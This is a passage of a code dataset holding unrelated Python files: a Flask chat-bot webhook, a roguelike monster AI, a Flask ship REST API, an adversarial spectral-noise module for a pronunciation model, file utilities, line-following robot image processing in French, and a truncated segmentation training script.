tunnel.public_url.replace(\"http\", \"https\")})\n# if not res.json()[\"ok\"]:\n# exit(1)\n# End of local tunnel setting up\n\napp = Flask(__name__)\n\nusers_dict = {}\n\n\n@app.route('/', methods=[\"POST\"])\ndef ex():\n data = request.get_json()\n if \"message\" in data:\n is_message(data[\"message\"])\n if \"callback_query\" in data:\n is_CB(data[\"callback_query\"])\n return \"200\"\n\n\ndef is_message(message: object):\n chat_id = message[\"from\"][\"id\"]\n text = message[\"text\"]\n if text == command_start:\n users_dict[chat_id] = Bot(TOKEN, chat_id)\n\n if chat_id in users_dict:\n users_dict[chat_id].last_message_id = None\n users_dict[chat_id].handle_input(text=text)\n\n\ndef is_CB(callback_query: object):\n cb_query_id = callback_query[\"id\"]\n cb_data = callback_query[\"data\"]\n chat_id = callback_query[\"from\"][\"id\"]\n if cb_data is not None:\n users_dict[chat_id].answer_callback_query(callback_query_id=cb_query_id)\n users_dict[chat_id].handle_input(text=cb_data)\n\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"596627658","text":"import tcod as libtcod\n\nclass BasicMonster:\n def take_turn(self, target, fov_map, game_map, entities):\n monster = self.owner\n if libtcod.map_is_in_fov(fov_map, monster.x, monster.y):\n if monster.distance_to(target) >= 2:\n monster.move_astar(target, entities, game_map)\n elif target.fighter.hp > 0:\n print('The {0} attacks you'.format(monster.name))","sub_path":"rltut/components/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"88060011","text":"from flask_restful import request, Resource\nfrom flask import jsonify, json, abort\nfrom models.authorization import get_user_rights\nfrom models.ship import get_ship, update_ship, delete_ship\n\nfrom config import Status\n\nclass Ship(Resource):\n def get(self, number):\n auth = request.headers.get('Authorization')\n if get_user_rights(auth) == Status.ANON:\n abort(403)\n \n return jsonify(get_ship(number))\n\n\n def put(self, number):\n auth = request.headers.get('Authorization')\n if get_user_rights(auth) != Status.ADMIN:\n abort(403)\n\n try:\n data = request.get_json()\n\n name = str(data['name'])\n displacement = int(data['displacement'])\n port = str(data['port'])\n except:\n abort(400)\n\n return jsonify(update_ship(number, name, displacement, port))\n\n\n def delete(self, number):\n auth = request.headers.get('Authorization')\n if get_user_rights(auth) != Status.ADMIN:\n abort(403)\n \n return jsonify(delete_ship(number))\n","sub_path":"backend/controllers/ship.py","file_name":"ship.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"210984866","text":"import torch\nimport torch_dct as dct\nfrom model_deep_pron_noI import Deep_Pron\n\nclass Spectral_attack(torch.nn.Module):\n def __init__(self, spectral_dim, mfcc_dim, trained_model_path, init_root):\n\n super(Spectral_attack, self).__init__()\n\n self.trained_model_path = trained_model_path\n\n self.noise_root = torch.nn.Parameter(init_root, requires_grad=True)\n\n self.spectral_dim = spectral_dim\n self.mfcc_dim = mfcc_dim\n\n def forward(self, p_vects, q_vects, p_frames_mask, q_frames_mask):\n '''\n p/q_vects = [num_speakers X num_feats X max_num_mfcc_frames x mfcc_dim]\n p/q_frames_mask = [num_speakers X num_feats X max_num_mfcc_frames x mfcc_dim]\n -> The associated 0s and 1s mask of p/q_lengths\n n.b. mfcc_dim = 13 usually (using c0 for energy instead of log-energy)\n num_feats = 46*47*0.5 = 1128 usually\n max_num_mfcc_frames = the maximum number of frames associated\n with a particular phone for any speaker -> often set to 4000\n '''\n # Apply the attack\n noise = torch.exp(self.noise_root)\n\n # Need to add spectral noise\n # Pad to spectral dimension\n padding = torch.zeros(p_vects.size(0), p_vects.size(1), p_vects.size(2), self.spectral_dim - self.mfcc_dim)\n padded_p_vects = torch.cat((p_vects, padding), 3)\n padded_q_vects = torch.cat((q_vects, padding), 3)\n\n # Apply inverse dct\n log_spectral_p = dct.idct(padded_p_vects)\n log_spectral_q = dct.idct(padded_q_vects)\n\n # Apply inverse log\n spectral_p = torch.exp(log_spectral_p)\n spectral_q = torch.exp(log_spectral_q)\n\n # Add the adversarial attack noise\n attacked_spectral_p = spectral_p + noise\n attacked_spectral_q = spectral_q + noise\n\n # Apply the log\n attacked_log_spectral_p = torch.log(attacked_spectral_p)\n attacked_log_spectral_q = torch.log(attacked_spectral_q)\n\n # Apply the dct\n attacked_padded_p = dct.dct(attacked_log_spectral_p)\n attacked_padded_q = dct.dct(attacked_log_spectral_q)\n\n # Truncate to mfcc dimension\n p_vects_attacked = torch.narrow(attacked_padded_p, 3, 0, self.mfcc_dim)\n q_vects_attacked = torch.narrow(attacked_padded_q, 3, 0, self.mfcc_dim)\n\n # Apply mask of zeros/ones, to ensure spectral noise only applied up to p/q lengths\n p_vects_masked = p_vects_attacked * p_frames_mask\n q_vects_masked = q_vects_attacked * q_frames_mask\n\n\n # Pass through trained model\n trained_model = torch.load(self.trained_model_path)\n trained_model.eval()\n y = trained_model(p_vects_masked, q_vects_masked, p_frames_mask, q_frames_mask)\n\n return y\n\n def get_noise(self):\n '''\n return the spectral noise vector\n '''\n return torch.exp(self.noise_root)\n","sub_path":"model_spectral_attack.py","file_name":"model_spectral_attack.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"624772298","text":"import re\nimport datetime\n\n\ndef now():\n # return time in format YYYY-MM-DD HHMM\n return str(datetime.datetime.now())[:16].replace(\":\", \"\")\n\n\ndef string_to_file(text_string):\n # output to local files for better readability\n with open(\"temp_text.txt\", 'w', encoding='UTF-8') as f:\n f.write(text_string)\n print(\"String written in temp_text.txt\")\n\n\ndef merge_urls(file1, file2):\n # merge two files and remove duplicated lines\n with open(file1, 'r') as f:\n text = f.read()\n lines1 = text.split('\\n')\n with open(file2, 'r') as f:\n text = f.read()\n lines2 = text.split('\\n')\n unique = set(lines1)\n unique.update(lines2)\n with open(\"unique_urls.txt\", 'w') as f:\n f.write(\"\\n\".join(unique))\n\n\ndef remove_domain_prefix(path, file, domain):\n # in case of duplicated domain, remove one from beginning\n with open(path + file, 'r') as f:\n text = f.read()\n lines = text.split('\\n')\n ret = []\n for line in lines:\n replaced_line = line.replace(domain, '', 1)\n if replaced_line.startswith(domain):\n ret.append(replaced_line)\n else:\n ret.append(line)\n\n new_text = \"\\n\".join(ret)\n with open(path + \"new_\" + file, 'w') as f:\n f.write(new_text)\n\n\ndef add_domain_by_year(file, year_prefix, year_suffix):\n with open(file, 'r') as f:\n urls = f.read().split('\\n')\n\n ret = []\n for u in urls:\n year = re.search('201[0-9]', u).group(0)\n url = year_prefix + year + year_suffix + u.split('/', 1)[1]\n ret.append(url)\n\n with open(\"crawler/new_urls.txt\", 'w') as f:\n f.write(\"\\n\".join(ret))","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"366355013","text":"\"\"\"\nLe module ImageClass contient uniquement la classe Image, avec\nla configuration du serveur UDP qui reçoit les images (le client).\n\"\"\"\nimport cv2\nfrom datetime import datetime as dt\nfrom config import get as conf\nfrom os.path import exists\nfrom os import makedirs as mkdir\nfrom numpy import (\n ones,\n uint8,\n zeros_like,\n pi,\n array,\n int0,\n mean,\n sign,\n save,\n array_split,\n where\n)\nfrom util import (\n colsort,\n norme,\n points_to_droite,\n droite_to_angle,\n shift_corner\n)\n\n\nclass Image:\n \"\"\"\n La classe Image représente une image et permet de réaliser les\n opérations de contrôle du robot nécessaire pour qu'il suive\n la ligne.\n\n Attributes\n ----------\n _image : ndarray\n Image originale en nuances de gris et recadrée\n _image_thresh : ndarray\n Image seuillée\n \"\"\"\n\n def __init__(self, image, ROI=conf(\"image.ROI\")):\n \"\"\" Constructeur\n Conversion de l'image en nuances de gris et séléction\n de la zone d'intérêt.\n\n Parameters\n ----------\n ROI : int\n Compris entre 0 et 1. Pourcentage de l'image coupée en haut.\n Par exemple 0.2 signifie que l'on garde uniquement les 80% du bas\n de l'image.\n \"\"\"\n self._image = image[int(ROI * len(image)):]\n self._image = cv2.cvtColor(self._image, cv2.COLOR_BGR2GRAY)\n self.shift, self.angle = None, None\n\n def isFin(self, seuil_fin=conf(\"image.seuil.fin\"), prc_fin=conf(\"image.prc_fin\")):\n \"\"\"\n Détecter la présence d'une ligne ou non sur une image\n\n\n Parameters\n ----------\n seuil_fin : float\n Tout ce qui est supérieur à ce seuil est considéré comme étant la\n ligne.\n prc_fin : float\n pourcentage minimum de ligne requis pour que l'image soit\n considérée comme \"ayant une ligne\" et que la fonction retourne False\n\n Returns\n -------\n bool\n Vrai si il n'y a pas de ligne, faux si il y a une ligne.\n\n\n Notes\n -----\n Seuillage de la ligne noire (pix<50)\n Compare le nbr de non-zero retrouvé l'image seuillé\n Il doit y avoir plus de prc_fin pourcents de ligne visible sinon\n le seuillage OTSU ne fonctionnera pas.\n \"\"\"\n return self._image.size * prc_fin > cv2.countNonZero(cv2.threshold(\n self._image, seuil_fin, 255, cv2.THRESH_BINARY_INV)[1]\n )\n\n def isSurex(self, seuil_surex=conf(\"image.seuil.surex\")):\n \"\"\"\n Détecter si une image est en surexposition ou non.\n\n Parameters\n ----------\n seuil_surex : float\n S'il existe un pixel ayant une valeur supérieure à ce seuil, alors\n l'image est considérée comme surexposée.\n\n Returns\n -------\n bool\n Vrai si l'image est en surexposition, faux sinon.\n\n Notes\n -----\n Seuillage de la partie \"Surex\", partie de couleur blanche (pix>220)\n Compare le nbr de non-zero retrouvé l'image seuillé\n \"\"\"\n return 0 != cv2.countNonZero(cv2.threshold(\n self._image,\n seuil_surex, 255,\n cv2.THRESH_BINARY)[1]\n )\n\n def log(self, categorie=None, img=None, thresh=False):\n \"\"\"\n Enregistrer l'image dans un répertoire.\n\n Parameters\n ----------\n categorie : str\n Nom du sous dossier du répertoire log où enregistrer l'image.\n img : ndarray or None\n Si None, l'image enregistrée est self._image\n sinon l'image à enregistrer\n thresh : bool\n Si vrai, l'image enregistrée est self._image_thresh, sinon on\n suit la logique du paramètre `img`\n\n Returns\n -------\n str\n Le nom du fichier enregistré.\n\n Notes\n -----\n Cette fonction est surtout utilisée à des fins de débogage.\n \"\"\"\n if img is None:\n img = self._image if not thresh else self._image_thresh\n path = \"./log/\" + (categorie + \"/\") if categorie is not None else \"\"\n filename = str(dt.isoformat(dt.now())) + \".png\"\n if not exists(path):\n mkdir(path)\n cv2.imwrite(path + filename, img)\n return filename\n\n def preTraitementSurex(self):\n \"\"\"\n Effectue le prétraitement lorsque self._image est une image\n surexposée et met dans la variable self._image_tresh l'image seuillée.\n\n Returns\n -------\n void\n Rien.\n \"\"\"\n img = cv2.blur(self._image, (7, 7))\n img = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_MEAN_C,\n cv2.THRESH_BINARY_INV, 501, 25)\n kernel = ones((2, 2), uint8)\n img = cv2.erode(img, kernel, iterations=7)\n self._image_thresh = img\n\n def preTraitementPasSurex(self):\n \"\"\"\n Effectue le prétraitement lorsque self._image n'est pas une image\n surexposée et met dans la variable self._image_tresh l'image seuillée.\n\n Returns\n -------\n void\n Rien.\n\n Notes\n -----\n Le traitement optimal aurait été d'appliquer un flou médian mais à des\n fins d'optimisation du temps de calcul, il a été supprimé.\n \"\"\"\n _, self._image_thresh = cv2.threshold(\n self._image, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU\n )\n\n def preTraitement(self):\n \"\"\"\n Effectuer le prétraitement sur l'image courante.\n Le prétraitement dépend de si l'image est surexposée ou non.\n \"\"\"\n if self.isSurex():\n self.preTraitementSurex()\n else:\n self.preTraitementPasSurex()\n\n def send(self, server=None, img=None, quality=conf(\"image.jpg_quality\")):\n \"\"\"\n Envoyer une image sur le serveur UDP du client.\n\n Parameters\n ----------\n server : tuple of str and int\n Adresse du serveur du client (IP et port)\n img : ndarray or None\n Si None, l'image enregistrée est self._image\n sinon l'image à enregistrer\n\n Returns\n -------\n void\n Rien.\n \"\"\"\n if server is None:\n if conf(\"debug.network\"):\n print(\"NO VIDEO SOCKET\")\n return\n if img is None:\n img = self._image\n\n res, jpg = cv2.imencode('.jpg', img, [int(cv2.IMWRITE_JPEG_QUALITY),\n quality])\n try:\n server.sendall(int(jpg.size).to_bytes(4, 'big', signed=True)\n + jpg.tobytes())\n except OSError:\n print(\"Erreur: image::Image.send\")\n\n def shift_angle(self, height=100):\n \"\"\"\n Trouver le décallage et l'angle de la ligne.\n\n Parameters\n ----------\n height : int\n hauteur de l'image prise pour référence. Par défaut, on prend\n le shift tout en bas de l'image.\n La hauteur est en pourcentage, donc 100% signifie tout en bas\n de l'image. 0 signifie le haut de l'image.\n\n Returns\n -------\n shift : float\n Décallage de la ligne par rapport au centre de l'image.\n angle : float\n Angle de la ligne compris entre -90 et 90 degrés.\n\n Notes\n -----\n *Angle* : Angle que forme la ligne avec l'axe vertical.\n Est compris entre -90 et 90°.\n *Décallage* : décallage de la ligne par rapport au centre bas de l'image.\n Il est en pourcentage et oscille autour de 0% (peut\n dont être négatif)\n\n | Par exemple :\n | +----------+---------+\n | | | || /\n | | / / | /\n | | / / | /\n | | | | | /\n | +----------+--+-------+ /\n | | | |\n | milieu | angle de 30°\n | décallage de +10%\n L'image doit être déjà seuillée afin de procéder à cette analyse\n\n \"\"\"\n # Contours\n img = self._image_thresh\n _, contours, _ = cv2.findContours(img, cv2.RETR_CCOMP,\n cv2.CHAIN_APPROX_SIMPLE)\n\n if contours is None or len(contours) == 0:\n if conf(\"debug.image.analyse\"):\n print(\"Image.shift_angle : Pas de contours trouvé\")\n return None\n\n best_contours = max(contours, key=cv2.contourArea)\n\n use_hough = False\n (m, p), estCentree = self.approx_droite_rect(best_contours)\n (best_contours)\n xbottom = None\n if p is None:\n keepRect = False\n if not estCentree:\n m2, p2 = self.approx_droite_hough(best_contours)\n if p2 is not None:\n if conf(\"debug.image.angle_fct\"):\n print(\"USE HUGH de hough\")\n use_hough = True\n m, p = m2, p2\n else:\n keepRect = True\n if keepRect or estCentree:\n xbottom = m\n angle = 0\n\n if xbottom is None:\n angle = - droite_to_angle(m, p)\n if m == 0:\n return None\n xbottom = ((len(img) * height / 100) - p) / m if p is not None else m\n\n try:\n shift = int(100 * (2 * xbottom / len(img[0]) - 1))\n except ValueError:\n self.log(\"NaN\")\n save(\"NaN-log.npy\", img)\n return None\n\n if use_hough and self.is_in_corner(True, angle):\n shift = shift_corner(shift)\n\n self.shift, self.angle = shift, angle\n return (shift, angle)\n\n def is_in_corner(self, bottom=True, shift=-1, kernel=10, img=None):\n \"\"\"\n Verifie si la ligne est dans un coin de l'image.\n\n Parameters\n ----------\n bottom : bool\n Vrai si on sélection le coin du bas, faux si celui du haut\n shift : int\n -1 si on sélection le coin de gauche, 1 si celui de droit\n kernel : int\n Taille du carré dans le coin à prendre\n img : ndarray\n Si None, l'image est self._image_thresh sinon cette `img`.\n\n Returns\n -------\n bool\n true si il y a la ligne dans un coin\n \"\"\"\n if img is None:\n img = self._image_thresh\n y_start = (len(img) - kernel) if bottom else 0\n x_start = (len(img[0]) - kernel) if shift > 0 else 0\n\n mat = img[y_start:(y_start + kernel), x_start:(x_start + kernel)]\n return (mat == 255).any()\n\n def approx_droite_hough(self, contours, padding=conf(\"image.padding\")):\n \"\"\"\n Approximer la droite avec la transformée de Hough\n\n Parameters\n ----------\n contours : array of points\n liste des points formant le contour dont on cherche la droite\n\n Returns\n -------\n m : float\n coefficient directeur de la droite\n p : float\n ordonnée à l'origine\n \"\"\"\n img_contours = zeros_like(self._image)\n img_contours = cv2.drawContours(img_contours, [contours], -1, 255, 2)\n\n # Suppression du contour des bordures\n img_contours[:, :padding] = 0\n img_contours[:, -padding:] = 0\n img_contours[:padding, :] = 0\n img_contours[-padding:, :] = 0\n\n lines = cv2.HoughLinesP(img_contours, 1, pi / 180, 25,\n minLineLength=20, maxLineGap=5)\n\n res = list()\n if lines is not None:\n for line in lines:\n x1, y1, x2, y2 = line[0]\n # cv2.line(img, (x1, y1), (x2, y2), 127, 4)\n res.append(points_to_droite((x1, y1), (x2, y2)))\n\n if len(res) == 0:\n return None, None\n\n # choix de ligne :\n # - maximisant le coef directeur (ligne la plus vertiale)\n # res = array(res)\n # res[res[:, 0] == res[:, 0].max()][0]\n\n # - moyenne des lignes :\n # x0 = moyenne des x pour y = 0\n # x50 = - - - - des x pour y = 50\n # droite qui passe par (x0, 0) et (x50, 50)\n if len(list(filter(\n lambda point: point[1] is not None and point[0] != 0, res\n ))) == 0:\n res = array(res)\n return res[res[:, 0] == res[:, 0].max()][0]\n\n return points_to_droite(\n (mean([-p / m for m, p in res if p is not None and m != 0]), 0),\n (mean([(50 - p) / m for m, p in res if p is not None and m != 0]), 50)\n )\n\n def approx_droite_rect(self, contours):\n \"\"\"\n Calculer l'équation de la droite qui approche la ligne.\n\n Parameters\n ----------\n contours : array of points\n liste des points formant le contour dont on cherche la droite\n\n Returns\n -------\n param : tuple of floats\n un tuple (m, p) pour la droite d'equation y = m*x + p.\n si la droite est de la forme x = constante, m = constante et p = None\n estAuCentre : float\n bool vrai si le centre du rectangle est à 50% autour du\n centre de l'image\n \"\"\"\n (cx, cy), (height, width), angle = rect = cv2.minAreaRect(contours)\n\n # estAuCentre\n imY, imX = len(self._image) // 2, len(self._image[0]) // 2\n estAuCentre = True\n if cx > imX + imX // 2 or cx < imX - imX // 2:\n estAuCentre = False\n elif cy > imY + imY // 2 or cy < imY - imY // 2:\n estAuCentre = False\n if angle == 0.0:\n return (cx, None), estAuCentre\n\n box = int0(cv2.boxPoints(rect))\n\n box2 = colsort(box, 1)\n (h1, h2), (b1, b2) = colsort(box2[0:2]), colsort(box2[2:4])\n\n if norme(h1, h2) > norme(h2, b2):\n if h2[1] > h1[1]:\n h1, b2 = b2, h1\n elif h1[1] > h2[1]:\n b1, h2 = h2, b1\n\n mhx, mhy = (h1[0] + (h2[0] - h1[0]) / 2,\n h1[1] + (h2[1] - h1[1]) / 2)\n mbx, mby = (b1[0] + (b2[0] - b1[0]) / 2,\n b1[1] + (b2[1] - b1[1]) / 2)\n\n # draw = self._image_thresh.copy()\n # cv2.drawContours(draw, [box], 0, 127, 3)\n # cv2.line(draw, (int(mbx), int(mby)), (int(mhx), int(mhy)), 127)\n # self.send(draw)\n\n ret = points_to_droite((mbx, mby), (mhx, mhy))\n return ret, estAuCentre\n\n def get3x3(self, seuil=conf(\"image.seuil.decision\")):\n \"\"\"\n Réduit l'image en une matrice de 3x3 l'image seuillée en réalisant la\n moyenne des pixels\n\n Parameters\n ----------\n seuil : int\n En dessous de cette valeur, on considère ça comme un 0\n\n Returns\n -------\n ndarray\n La matrice de dimensions (3, 3).\n \"\"\"\n\n mat = array([\n [mean(col) for col in array_split(ligne, 3, axis=1)]\n for ligne in array_split(self._image_thresh, 3, axis=0)\n ]) * 0.255\n return where(mat <= seuil, 0, mat).reshape(3, 3)\n","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":15317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"536181725","text":"###########################################################################\n# Created by: Jianan Yang\n# Email: u7083746@anu.edu.au\n# Copyright (c) 2020\n###########################################################################\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nimport copy,math\nimport cv2\nimport random\nfrom PIL import Image\n\n\nimport torch\nfrom torch.utils import data\nimport torchvision.transforms as transform\nfrom torch.nn.parallel.scatter_gather import gather\nfrom torchsummary import summary\n\nimport encoding.utils as utils\nfrom encoding.nn import SegmentationLosses, SyncBatchNorm\nfrom encoding.nn.customize import FocalLoss\nfrom encoding.parallel import DataParallelModel, DataParallelCriterion\nfrom encoding.datasets import get_segmentation_dataset\nfrom encoding.models import get_segmentation_model\n\n\nfrom option import Options\n# from maskimage import generate_dataset\nfrom classlabel import Category\ntorch_ver = torch.__version__[:3]\n\nfrom torch.autograd import Variable\n\nclass Trainer():\n\tdef __init__(self,info,id_info,args):\n\t\tself.filename,self.classes = info[0],info[1]\n\t\tself.categories = id_info\n\t\tself.args = args\n\t\t# data transforms\n\t\tinput_transform = transform.Compose([\n\t\t\ttransform.ToTensor(),\n\t\t\ttransform.Normalize([.485, .456, .406], [.229, .224, .225])\n\t\t\t])\n\t\tlabel_transform = transform.ToTensor()\n\t\tself.nclass = len(self.classes)\n\t\t#initialise the tensor holder here\n\t\tself.im_info = torch.FloatTensor(1)\n\t\tself.num_boxes = torch.LongTensor(1)\n\t\tself.gt_boxes = torch.FloatTensor(1)\n\n\t\tuse_cuda = True\n\t\tif use_cuda:\n\t\t\tself.im_info = self.im_info.cuda()\n\t\t\tself.num_boxes =self.num_boxes.cuda()\n\t\t\tself.gt_boxes = self.gt_boxes.cuda()\n\t\tself.im_info = Variable(self.im_info)\n\t\tself.num_boxes = Variable(self.num_boxes)\n\t\tself.gt_boxes = Variable(self.gt_boxes)\n\t\t# dataset\n\t\tdata_kwargs = {'transform': input_transform, 'target_transform':input_transform,\n\t\t\t\t\t\t'label_transform':label_transform}\n\n\n\t\t#get image info\n\t\ttrainset = get_segmentation_dataset(args.dataset,self.filename,args.size, split=args.train_split, mode='train',\n\t\t\t\t\t\t\t\t\t\t **data_kwargs)\n\n\t\t# trainLoader = roibatchLoader(train_roidb,trainset,self.nclass,mode='train')\n\n\t\tvalset = get_segmentation_dataset(args.dataset,self.filename,args.size, split='val', mode ='val',\n\t\t\t\t\t\t\t\t\t\t **data_kwargs)\n\t\t# valLoader = roibatchLoader(val_roidb,valset,self.nclass,mode='val')\n\t\t\n\t\t\n\t\t# dataloader\n\t\tkwargs = {'num_workers': args.workers, 'pin_memory': True} \\\n\t\t\tif args.cuda else {}\n\t\tself.trainloader = data.DataLoader(trainset,batch_size=args.batch_size,\n\t\t\t\t\t\t\t\t\t\t drop_last=True, shuffle=True, **kwargs)\n\t\tself.valloader = data.DataLoader(valset,batch_size=args.batch_size,\n\t\t\t\t\t\t\t\t\t\t drop_last=False, shuffle=False, **kwargs)\n\n\t\t\n\t\t# trainloader = data.DataLoader(trainLoader, batch_size=args.batch_size,\n\t\t# \t\t\t\t\t\t\t\t drop_last=True, shuffle=True, **kwargs)\n\t\t# valloader = data.DataLoader(valLoader, batch_size=args.batch_size,\n\t\t# \t\t\t\t\t\t\t\t drop_last=False, shuffle=False, **kwargs)\n\n\t\t# self.dataloader = {'train':trainloader,'val':valloader}\n\t\tprint (\"finish loading the dataset\")\n\n\t\t# # model\n\t\tmodel = get_segmentation_model(self.nclass,args.model, self.filename,dataset = args.dataset,\n\t\t\t\t\t\t\t\t\t backbone = args.backbone, dilated = args.dilated,\n\t\t\t\t\t\t\t\t\t lateral = args.lateral, jpu = args.jpu, aux = args.aux,\n\t\t\t\t\t\t\t\t\t se_loss = args.se_loss, #norm_layer = SyncBatchNorm,\n\t\t\t\t\t\t\t\t\t base_size = args.base_size, crop_size = args.crop_size)\n\n\n\t\t# for (name,w) in model.named_parameters():\n\t\t# \tprint (name)\n\t\t# \tprint (name,w.requires_grad)\n\t\t# optimizer using different LR\n\t\tparams_list = [{'params': model.pretrained.parameters(), 'lr': args.lr}]\n\t\tparams_list.append({'params':model.low_level_1.parameters(),'lr':args.lr})\n\t\tparams_list.append({'params':model.low_level_2.parameters(),'lr':args.lr})\n\t\tparams_list.append({'params':model.concat_conv_1.parameters(),'lr':args.lr})\n\t\tparams_list.append({'params':model.concat_conv_2.parameters(),'lr':args.lr})\n\t\tparams_list.append({'params':model.objectness.parameters(),'lr':args.lr})\n\t\tparams_list.append({'params':model.edge_conv.parameters(),'lr':args.lr})\n\t\t# if hasattr(model, 'jpu'):\n\t\t# \tparams_list.append({'params': model.jpu.parameters(), 'lr': args.lr*10})\n\t\tif hasattr(model, 'head'): \n\t\t\tparams_list.append({'params': model.head.parameters(), 'lr': args.lr*10})\n\t\t# if hasattr(model, 'auxlayer'):\n\t\t# \tparams_list.append({'params': model.auxlayer.parameters(), 'lr': args.lr*10})\n\t\toptimizer = torch.optim.SGD(params_list, lr=args.lr,\n\t\t\tmomentum=args.momentum, weight_decay=args.weight_decay)\n\t\t# criterions\n\t\tself.criterion = SegmentationLosses(se_loss=args.se_loss, aux=args.aux,\n\t\t\t\t\t\t\t\t\t\t\tnclass=self.nclass, \n\t\t\t\t\t\t\t\t\t\t\tse_weight=args.se_weight,\n\t\t\t\t\t\t\t\t\t\t\taux_weight=args.aux_weight)\n\t\t# self.criterion = FocalLoss(num_class = self.nclass,alpha=torch.ones((self.nclass,1))*0.25)\n\t\t#self.criterion = FocalLoss()\n\t\tself.model, self.optimizer = model, optimizer\n\t\t# print (summary(model,(3,480,840)))\n\t\t# using cuda\n\t\tif args.cuda:\n\t\t\tself.model = self.model.cuda()\n\t\t\tself.criterion = self.criterion.cuda()\n\t\t# \tself.model = DataParallelModel(self.model).cuda()\n\t\t# \tself.criterion = DataParallelCriterion(self.criterion).cuda()\n\t\t# resuming checkpoint\n\t\tself.best_pred = 0.0\n\t\tif args.resume is not None:\n\t\t\tif not os.path.isfile(args.resume):\n\t\t\t\traise RuntimeError(\"=> no checkpoint found at '{}'\" .format(args.resume))\n\t\t\tcheckpoint = torch.load(args.resume)\n\t\t\targs.start_epoch = checkpoint['epoch']\n\t\t\tif args.cuda:\n\t\t\t\tself.model.load_state_dict(checkpoint['state_dict'])\n\t\t\telse:\n\t\t\t\tself.model.load_state_dict(checkpoint['state_dict'])\n\t\t\tif not args.ft:\n\t\t\t\tself.optimizer.load_state_dict(checkpoint['optimizer'])\n\t\t\tself.best_pred = checkpoint['best_pred']\n\t\t\tprint(\"=> loaded checkpoint '{}' (epoch {})\"\n\t\t\t\t .format(args.resume, checkpoint['epoch']))\n\t\t# clear start epoch if fine-tuning\n\t\tif args.ft:\n\t\t\targs.start_epoch = 0\n\t\t# lr scheduler\n\t\tself.scheduler = utils.LR_Scheduler(args.lr_scheduler, args.lr,\n\t\t\t\t\t\t\t\t\t\t\targs.epochs, len(self.trainloader))\n\n\t\tself.correct_features = torch.tensor([])\n\t\tself.correct_class = torch.tensor([])\n\tdef training(self, epoch,log_file):\n\t\ttrain_loss = 0.0\n\t\tself.model.train()\n\t\ttbar = tqdm(self.trainloader)\n\t\t#data_iter = iter(self.dataloader['train'])\n\t\t\t\t\n\t\tfor i, (image,labels,objectness,edge) in enumerate(tbar):\n\t\t\t#img_data = data_iter.next()\n\t\t\t#self.im_info.resize_(img_data[0].size()).copy_(img_data[0])\n\t\t\t#self.gt_boxes.resize_(img_data[1].size()).copy_(img_data[1])\n\t\t\t#self.num_boxes.resize_(img_data[2].size()).copy_(img_data[2])\n\n\n\t\t\timage = image.type(torch.cuda.FloatTensor)\n\t\t\t\n\t\t\tself.scheduler(self.optimizer, i, epoch, self.best_pred)\n\t\t\tself.optimizer.zero_grad()\n\t\t\tpixel_wise,cat_label,edge_label = self.model(image,self.im_info,self.gt_boxes,self.num_boxes)\n\t\t\tpixel_wise = pixel_wise.type(torch.cuda.FloatTensor)\n\t\t\tcat_label = cat_label.type(torch.cuda.FloatTensor)\n\t\t\tedge_label = edge_label.type(torch.cuda.FloatTensor)\n\n\t\t\tlabels = torch.squeeze(labels)\n\t\t\tlabels = labels.to(dtype=torch.int64).cuda()\n\t\t\t\n\t\t\tedge = torch.squeeze(edge)\n\t\t\tedge = edge.to(dtype=torch.int64).cuda()\n\n\t\t\tobjectness = torch.squeeze(objectness)\n\t\t\tobjectness = objectness.to(dtype=torch.int64).cuda()\n\t\t\t#only takes account those foregrounds\n\t\t\tforegrounds = (labels > 0).nonzero()\n\t\t\tbatch,x,y = foregrounds[:,0],foregrounds[:,1],foregrounds[:,2]\n#\t\t\tprint (labeled.size(),labels.size())\n\t\t\tcat_label = cat_label[batch,:,x,y]\n\t\t\tlabels = labels[batch,x,y] - 2\n#\t\t\tprint (labeled.size(),pixel_wise.size())\n#\t\t\tprint (torch.unique(labels),torch.unique(objectness))\n\t\t#\tprint (cat_label.size(),labels.size())\n\t\t#\tprint (\"-\"*20)\n\t\t\tclass_loss = self.criterion(cat_label, labels)\n\t\t\tobjectness_loss = self.criterion(pixel_wise,objectness)\n\t\t\tedge_loss = self.criterion(edge_label,edge)\n\t\t\t#loss = class_loss.item() + objectness_loss.item()\n\t\t\tloss = class_loss + objectness_loss + edge_loss\n#\t\t\tprint (loss)\n\t\t\t#loss = objectness_loss\n\t\t\tloss.backward()\n\t\t\tself.optimizer.step()\n\t\t\ttrain_loss += loss.item()\n\t\t\ttbar.set_description('Train loss:{:.3f}'\n\t\t\t\t.format(train_loss / (i + 1)))\n\t\tlog_file.write(\"Epoch:{}, Loss:{:.3f}\\n\".format(epoch,train_loss/(i+1)))\n\t\tif self.args.no_val:\n\t\t\t# save checkpoint every epoch\n\t\t\tis_best = False\n\t\t\tutils.save_checkpoint({\n\t\t\t\t'epoch': epoch + 1,\n\t\t\t\t'state_dict': self.model.state_dict(),\n\t\t\t\t'optimizer': self.optimizer.state_dict(),\n\t\t\t\t'best_pred': self.best_pred,\n\t\t\t}, self.args, is_best, self.filename,filename='checkpoint_{}.pth.tar'.format(epoch))\n\n\n\tdef validation(self, epoch,log_file):\n\t\t# Fast test during the training\n\t\tdef collect_features(features,position,pred):\n\t\t\t'''\n\t\t\tfeatures: batch_size x k x H x W (k is number of known class)\n\t\t\tposition: (tuple1,tuple2,tuple3); tuple1 = img_id, tuple2 = x, tuple3 = y\n\t\t\t\n\t\t\treturn: 304 x (#correctly 